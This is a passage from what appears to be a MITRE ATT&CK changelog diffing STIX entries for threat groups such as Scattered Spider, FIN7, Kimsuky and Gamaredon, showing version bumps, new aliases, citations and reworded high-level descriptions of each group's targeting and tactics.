	>	k.mitre.org/groups/G1015) has leveraged targeted social-engi		>	p-desk staff, to gain initial access, bypass multi-factor au
	>	neering techniques, attempted to bypass popular endpoint sec		>	thentication (MFA), and compromise enterprise networks. The
	>	urity tools, and more recently, deployed ransomware for fina		>	group has adapted its tooling to evade endpoint detection an
	>	ncial gain.(Citation: CISA Scattered Spider Advisory Novembe		>	d response (EDR) defenses and used ransomware for financial
	>	r 2023)(Citation: CrowdStrike Scattered Spider BYOVD January		>	gain. (Citation: CISA Scattered Spider Advisory November 202
	>	2023)(Citation: CrowdStrike Scattered Spider Profile)(Citat		>	3) (Citation: CrowdStrike Scattered Spider BYOVD January 202
	>	ion: MSTIC Octo Tempest Operations October 2023)(Citation: C		>	3) (Citation: Crowdstrike TELCO BPO Campaign December 2022)
	>	rowdstrike TELCO BPO Campaign December 2022)		>	[Scattered Spider](https://attack.mitre.org/groups/G1015) ha
				>	d expanded into hybrid cloud and identity environments, usin
				>	g help-desk impersonation and MFA bypass to obtain administr
				>	ator access in Okta, AWS, and Office 365. (Citation: Mandian
				>	t UNC3944 May 2025)

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-04 21:24:48.602000+00:00	2025-10-24 02:30:51.936000+00:00
description	[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group that has been active since at least 2022.(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management and business-process outsourcing (BPO) firms as well as telecommunications and technology companies. Beginning in 2023, [Scattered Spider](https://attack.mitre.org/groups/G1015) expanded its operations to compromise victims in the gaming, hospitality, retail, MSP, manufacturing, and financial sectors.(Citation: MSTIC Octo Tempest Operations October 2023) During campaigns, [Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged targeted social-engineering techniques, attempted to bypass popular endpoint security tools, and more recently, deployed ransomware for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: CrowdStrike Scattered Spider BYOVD January 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023)(Citation: Crowdstrike TELCO BPO Campaign December 2022)	[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023) [Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022) [Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	2.0	3.0

iterable_item_added
STIX Field	Old value	New Value
aliases		UNC3944
external_references		{'source_name': 'UNC3944', 'description': '(Citation: Mandiant UNC3944 May 2025)(Citation: Mandiant VMware vSphere JUL 2025)'}
external_references		{'source_name': 'Mandiant VMware vSphere JUL 2025', 'description': 'Mandiant Incident Response. (2025, July 23). From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944. Retrieved October 13, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944'}
external_references		{'source_name': 'Mandiant UNC3944 May 2025', 'description': 'Mandiant Incident Response. (2025, May 6). Defending Against UNC3944: Cybercrime Hardening Guidance from the Frontlines. Retrieved October 13, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations'}

[G1033] Star Blizzard

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

values_changed
STIX Field	Old value	New Value
modified	2024-06-14 18:39:26.684000+00:00	2025-10-22 22:12:56.172000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

iterable_item_added
STIX Field	Old value	New Value
x_mitre_domains		mobile-attack

[G0027] Threat Group-3390

Current version: 3.0

Version changed from: 2.2 → 3.0

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-10 22:33:06.500000+00:00	2025-10-15 20:24:59.798000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	2.2	3.0

iterable_item_added
STIX Field	Old value	New Value
aliases		Linen Typhoon
external_references		{'source_name': 'Linen Typhoon', 'description': '(Citation: Microsoft Naming Conventions Frequently Updated)'}
external_references		{'source_name': 'Microsoft Naming Conventions Frequently Updated', 'description': 'Microsoft. (2025, September 8). How Microsoft names threat actors. Retrieved September 10, 2025.', 'url': 'https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming'}

Minor Version Changes

[G0096] APT41

Current version: 4.2

Version changed from: 4.1 → 4.2

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-22 21:56:33.318000+00:00	2025-06-11 20:13:29.024000+00:00
x_mitre_version	4.1	4.2

[G1006] Earth Lusca

Current version: 2.1

Version changed from: 2.0 → 2.1

Details

values_changed
STIX Field	Old value	New Value
modified	2024-09-16 16:18:00.876000+00:00	2025-06-06 14:55:18.144000+00:00
x_mitre_version	2.0	2.1

[G0046] FIN7

Current version: 4.1

Version changed from: 4.0 → 4.1

	Old Description			New Description
t	1	[FIN7](https://attack.mitre.org/groups/G0046) is a financial	t	1	[FIN7](https://attack.mitre.org/groups/G0046) is a financial
	>	ly-motivated threat group that has been active since 2013. [		>	ly-motivated threat group that has been active since 2013. [
	>	FIN7](https://attack.mitre.org/groups/G0046) has primarily t		>	FIN7](https://attack.mitre.org/groups/G0046) has targeted th
	>	argeted the retail, restaurant, hospitality, software, consu		>	e retail, restaurant, hospitality, software, consulting, fin
	>	lting, financial services, medical equipment, cloud services		>	ancial services, medical equipment, cloud services, media, f
	>	, media, food and beverage, transportation, and utilities in		>	ood and beverage, transportation, pharmaceutical, and utilit
	>	dustries in the U.S. A portion of [FIN7](https://attack.mitr		>	ies industries in the United States. A portion of [FIN7](htt
	>	e.org/groups/G0046) was run out of a front company called Co		>	ps://attack.mitre.org/groups/G0046) was operated out of a fr
	>	mbi Security and often used point-of-sale malware for target		>	ont company called Combi Security and often used point-of-sa
	>	ing efforts. Since 2020, [FIN7](https://attack.mitre.org/gro		>	le malware for targeting efforts. Since 2020, [FIN7](https:/
	>	ups/G0046) shifted operations to a big game hunting (BGH) ap		>	/attack.mitre.org/groups/G0046) shifted operations to big ga
	>	proach including use of [REvil](https://attack.mitre.org/sof		>	me hunting (BGH), including use of [REvil](https://attack.mi
	>	tware/S0496) ransomware and their own Ransomware as a Servic		>	tre.org/software/S0496) ransomware and their own Ransomware-
	>	e (RaaS), Darkside. FIN7 may be linked to the [Carbanak](htt		>	as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Ca
	>	ps://attack.mitre.org/groups/G0008) Group, but there appears		>	rbanak](https://attack.mitre.org/groups/G0008) Group, but mu
	>	to be several groups using [Carbanak](https://attack.mitre.		>	ltiple threat groups have been observed using [Carbanak](htt
	>	org/software/S0030) malware and are therefore tracked separa		>	ps://attack.mitre.org/software/S0030), leading these groups
	>	tely.(Citation: FireEye FIN7 March 2017)(Citation: FireEye F		>	to be tracked separately.(Citation: FireEye FIN7 March 2017)
	>	IN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citati		>	(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBAN
	>	on: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spid		>	AK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Cro
	>	er August 2021)(Citation: Mandiant FIN7 Apr 2022)		>	wdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7
				>	Apr 2022)(Citation: BiZone Lizar May 2021)

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-17 22:09:41.004000+00:00	2025-10-24 03:18:58.136000+00:00
description	[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has primarily targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, and utilities industries in the U.S. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)	[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to big game hunting (BGH), including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but multiple threat groups have been observed using [Carbanak](https://attack.mitre.org/software/S0030), leading these groups to be tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)(Citation: BiZone Lizar May 2021)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	4.0	4.1

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'BiZone Lizar May 2021', 'description': 'BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022.', 'url': 'https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319'}
x_mitre_contributors		Eric Loui, CrowdStrike Intelligence
x_mitre_contributors		Serhii Melnyk, Trustwave SpiderLabs

[G0047] Gamaredon Group

Current version: 3.2

Version changed from: 3.1 → 3.2

	Old Description			New Description
t	1	[Gamaredon Group](https://attack.mitre.org/groups/G0047) is	t	1	[Gamaredon Group](https://attack.mitre.org/groups/G0047) is
	>	a suspected Russian cyber espionage threat group that has ta		>	a suspected Russian cyber espionage group that has targeted
	>	rgeted military, NGO, judiciary, law enforcement, and non-pr		>	military, law enforcement, judiciary, non-profit, and non-go
	>	ofit organizations in Ukraine since at least 2013. The name		>	vernmental organizations in Ukraine since at least 2013. The
	>	[Gamaredon Group](https://attack.mitre.org/groups/G0047) com		>	name [Gamaredon Group](https://attack.mitre.org/groups/G004
	>	es from a misspelling of the word "Armageddon", which was de		>	7) derives from a misspelling of the word "Armageddon," foun
	>	tected in the adversary's early campaigns.(Citation: Palo Al		>	d in early campaigns.(Citation: Palo Alto Gamaredon Feb 2017
	>	to Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April		>	)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET
	>	2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec		>	Gamaredon June 2020)(Citation: Symantec Shuckworm January 20
	>	Shuckworm January 2022)(Citation: Microsoft Actinium Februa		>	22)(Citation: Microsoft Actinium February 2022) In November
	>	ry 2022) In November 2021, the Ukrainian government publicl		>	2021, the Ukrainian government publicly attributed [Gamared
	>	y attributed [Gamaredon Group](https://attack.mitre.org/grou		>	on Group](https://attack.mitre.org/groups/G0047) to Russia’s
	>	ps/G0047) to Russia's Federal Security Service (FSB) Center		>	Federal Security Service (FSB) Center 18, an assessment lat
	>	18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(		>	er supported by multiple independent cybersecurity researche
	>	Citation: Microsoft Actinium February 2022)		>	rs. (Citation: Bleepingcomputer Gamardeon FSB November 2021)
				>	(Citation: Microsoft Actinium February 2022)

Details

values_changed
STIX Field	Old value	New Value
modified	2024-09-23 20:34:43.022000+00:00	2025-10-24 01:05:47.958000+00:00
description	[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word "Armageddon", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022) In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)	[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage group that has targeted military, law enforcement, judiciary, non-profit, and non-governmental organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) derives from a misspelling of the word "Armageddon," found in early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022) In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia’s Federal Security Service (FSB) Center 18, an assessment later supported by multiple independent cybersecurity researchers. (Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	3.1	3.2

[G0126] Higaisa

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-11 02:19:20.934000+00:00	2025-10-22 02:54:00.893000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[G0040] Patchwork

Current version: 1.6

Version changed from: 1.5 → 1.6

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 23:51:01.110000+00:00	2025-10-21 23:13:16.458000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.5	1.6

[G0139] TeamTNT

Current version: 1.4

Version changed from: 1.3 → 1.4

Details

values_changed
STIX Field	Old value	New Value
modified	2024-09-16 16:23:56.908000+00:00	2025-10-22 03:04:28.916000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.3	1.4

[G0081] Tropic Trooper

Current version: 1.6

Version changed from: 1.5 → 1.6

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-18 18:24:29.185000+00:00	2025-10-21 23:19:38.101000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.5	1.6

[G0128] ZIRCONIUM

Current version: 2.3

Version changed from: 2.2 → 2.3

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-04 17:09:39.718000+00:00	2025-10-15 20:39:25.843000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	2.2	2.3

Patches

[G0094] Kimsuky

Current version: 5.1

	Old Description			New Description
t	1	[Kimsuky](https://attack.mitre.org/groups/G0094) is a North	t	1	[Kimsuky](https://attack.mitre.org/groups/G0094) is a North
	>	Korea-based cyber espionage group that has been active since		>	Korea-based cyber espionage group that has been active since
	>	at least 2012. The group initially focused on targeting Sou		>	at least 2012. The group initially targeted South Korean go
	>	th Korean government entities, think tanks, and individuals		>	vernment agencies, think tanks, and subject-matter experts i
	>	identified as experts in various fields, and expanded its op		>	n various fields. Its operations expanded to include the Uni
	>	erations to include the UN and the government, education, bu		>	ted Nations and organizations in the government, education,
	>	siness services, and manufacturing sectors in the United Sta		>	business services, and manufacturing sectors across the Unit
	>	tes, Japan, Russia, and Europe. [Kimsuky](https://attack.mit		>	ed States, Japan, Russia, and Europe. [Kimsuky](https://atta
	>	re.org/groups/G0094) has focused its intelligence collection		>	ck.mitre.org/groups/G0094) has focused collection on foreign
	>	activities on foreign policy and national security issues r		>	policy and national security issues tied to the Korean Peni
	>	elated to the Korean peninsula, nuclear policy, and sanction		>	nsula, nuclear policy, and sanctions. Its operations have ov
	>	s. [Kimsuky](https://attack.mitre.org/groups/G0094) operatio		>	erlapped with other DPRK actors, likely due to ad hoc collab
	>	ns have overlapped with those of other North Korean cyber es		>	oration or limited resource sharing.(Citation: EST Kimsuky A
	>	pionage actors likely as a result of ad hoc collaborations o		>	pril 2019)(Citation: Cybereason Kimsuky November 2020)(Citat
	>	r other limited resource sharing.(Citation: EST Kimsuky Apri		>	ion: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301
	>	l 2019)(Citation: Cybereason Kimsuky November 2020)(Citation		>	A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Pr
	>	: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A K		>	oofpoint TA427 April 2024) Because of overlapping operations
	>	imsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proof		>	, some researchers group a wide range of North Korean state-
	>	point TA427 April 2024) [Kimsuky](https://attack.mitre.org/		>	sponsored cyber activity under the broader [Lazarus Group](h
	>	groups/G0094) was assessed to be responsible for the 2014 Ko		>	ttps://attack.mitre.org/groups/G0032) umbrella rather than t
	>	rea Hydro & Nuclear Power Co. compromise; other notable camp		>	racking separate subgroup or cluster distinctions. [Kimsuky
	>	aigns include Operation STOLEN PENCIL (2018), Operation Kaba		>	](https://attack.mitre.org/groups/G0094) was assessed to be
	>	r Cobra (2019), and Operation Smoke Screen (2019).(Citation:		>	responsible for the 2014 Korea Hydro & Nuclear Power Co. com
	>	Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky Smok		>	promise; other notable campaigns include Operation STOLEN PE
	>	eScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb		>	NCIL (2018), Operation Kabar Cobra (2019), and Operation Smo
	>	2019) North Korean group definitions are known to have sig		>	ke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)
	>	nificant overlap, and some security researchers report all N		>	(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: Ahn
	>	orth Korean state-sponsored cyber activity under the name [L		>	Lab Kimsuky Kabar Cobra Feb 2019) In 2023, [Kimsuky](https:
	>	azarus Group](https://attack.mitre.org/groups/G0032) instead		>	//attack.mitre.org/groups/G0094) was observed using commerci
	>	of tracking clusters or subgroups. In 2023, [Kimsuky](http		>	al large language models to assist with vulnerability resear
	>	s://attack.mitre.org/groups/G0094) has used commercial large		>	ch, scripting, social engineering and reconnaissance.(Citati
	>	language models to assist with vulnerability research, scri		>	on: MSFT-AI)
	>	pting, social engineering and reconnaissance.(Citation: MSFT
	>	-AI)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-01-29 21:17:48.165000+00:00	2025-10-24 00:59:31.235000+00:00
description	[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) [Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. In 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) has used commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI)	[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially targeted South Korean government agencies, think tanks, and subject-matter experts in various fields. Its operations expanded to include the United Nations and organizations in the government, education, business services, and manufacturing sectors across the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused collection on foreign policy and national security issues tied to the Korean Peninsula, nuclear policy, and sanctions. Its operations have overlapped with other DPRK actors, likely due to ad hoc collaboration or limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) Because of overlapping operations, some researchers group a wide range of North Korean state-sponsored cyber activity under the broader [Lazarus Group](https://attack.mitre.org/groups/G0032) umbrella rather than tracking separate subgroup or cluster distinctions. [Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) In 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) was observed using commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI)
x_mitre_attack_spec_version	3.2.0	3.3.0

mobile-attack

New Groups

[G0069] MuddyWater

Current version: 6.0

Description:

MuddyWater is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of Intelligence and Security (MOIS).(Citation: CYBERCOM Iranian Intel Cyber January 2022) Since at least 2017, MuddyWater has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Talos MuddyWater Jan 2022)

[G1033] Star Blizzard

Current version: 2.0

Description:

Star Blizzard is a cyber espionage and influence group originating in Russia that has been active since at least 2019. Star Blizzard campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024)

Major Version Changes

[G1015] Scattered Spider

Current version: 3.0

Version changed from: 2.0 → 3.0

	Old Description			New Description
t	1	[Scattered Spider](https://attack.mitre.org/groups/G1015) is	t	1	[Scattered Spider](https://attack.mitre.org/groups/G1015) is
	>	a native English-speaking cybercriminal group that has been		>	a native English-speaking cybercriminal group active since
	>	active since at least 2022.(Citation: CrowdStrike Scattered		>	at least 2022. (Citation: CrowdStrike Scattered Spider Profi
	>	Spider Profile)(Citation: MSTIC Octo Tempest Operations Oct		>	le) (Citation: MSTIC Octo Tempest Operations October 2023) T
	>	ober 2023) The group initially targeted customer relationshi		>	he group initially targeted customer relationship management
	>	p management and business-process outsourcing (BPO) firms as		>	(CRM) providers, business process outsourcing (BPO) firms,
	>	well as telecommunications and technology companies. Beginn		>	and telecommunications and technology companies before expan
	>	ing in 2023, [Scattered Spider](https://attack.mitre.org/gro		>	ding in 2023 to gaming, hospitality, retail, managed service
	>	ups/G1015) expanded its operations to compromise victims in		>	provider (MSP), manufacturing, and financial sectors. (Cita
	>	the gaming, hospitality, retail, MSP, manufacturing, and fin		>	tion: MSTIC Octo Tempest Operations October 2023) [Scattered
	>	ancial sectors.(Citation: MSTIC Octo Tempest Operations Octo		>	Spider](https://attack.mitre.org/groups/G1015) relies heavi
	>	ber 2023) During campaigns, [Scattered Spider](https://attac		>	ly on social engineering, including impersonating IT and hel
	>	k.mitre.org/groups/G1015) has leveraged targeted social-engi		>	p-desk staff, to gain initial access, bypass multi-factor au
	>	neering techniques, attempted to bypass popular endpoint sec		>	thentication (MFA), and compromise enterprise networks. The
	>	urity tools, and more recently, deployed ransomware for fina		>	group has adapted its tooling to evade endpoint detection an
	>	ncial gain.(Citation: CISA Scattered Spider Advisory Novembe		>	d response (EDR) defenses and used ransomware for financial
	>	r 2023)(Citation: CrowdStrike Scattered Spider BYOVD January		>	gain. (Citation: CISA Scattered Spider Advisory November 202
	>	2023)(Citation: CrowdStrike Scattered Spider Profile)(Citat		>	3) (Citation: CrowdStrike Scattered Spider BYOVD January 202
	>	ion: MSTIC Octo Tempest Operations October 2023)(Citation: C		>	3) (Citation: Crowdstrike TELCO BPO Campaign December 2022)
	>	rowdstrike TELCO BPO Campaign December 2022)		>	[Scattered Spider](https://attack.mitre.org/groups/G1015) ha
				>	d expanded into hybrid cloud and identity environments, usin
				>	g help-desk impersonation and MFA bypass to obtain administr
				>	ator access in Okta, AWS, and Office 365. (Citation: Mandian
				>	t UNC3944 May 2025)

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-04 21:24:48.602000+00:00	2025-10-24 02:30:51.936000+00:00
description	[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group that has been active since at least 2022.(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management and business-process outsourcing (BPO) firms as well as telecommunications and technology companies. Beginning in 2023, [Scattered Spider](https://attack.mitre.org/groups/G1015) expanded its operations to compromise victims in the gaming, hospitality, retail, MSP, manufacturing, and financial sectors.(Citation: MSTIC Octo Tempest Operations October 2023) During campaigns, [Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged targeted social-engineering techniques, attempted to bypass popular endpoint security tools, and more recently, deployed ransomware for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: CrowdStrike Scattered Spider BYOVD January 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023)(Citation: Crowdstrike TELCO BPO Campaign December 2022)	[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023) [Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022) [Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	2.0	3.0

iterable_item_added
STIX Field	Old value	New Value
aliases		UNC3944
external_references		{'source_name': 'UNC3944', 'description': '(Citation: Mandiant UNC3944 May 2025)(Citation: Mandiant VMware vSphere JUL 2025)'}
external_references		{'source_name': 'Mandiant VMware vSphere JUL 2025', 'description': 'Mandiant Incident Response. (2025, July 23). From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944. Retrieved October 13, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944'}
external_references		{'source_name': 'Mandiant UNC3944 May 2025', 'description': 'Mandiant Incident Response. (2025, May 6). Defending Against UNC3944: Cybercrime Hardening Guidance from the Frontlines. Retrieved October 13, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations'}

Minor Version Changes

[G0096] APT41

Current version: 4.2

Version changed from: 4.1 → 4.2

Details

values_changed
STIX Field	Old value	New Value
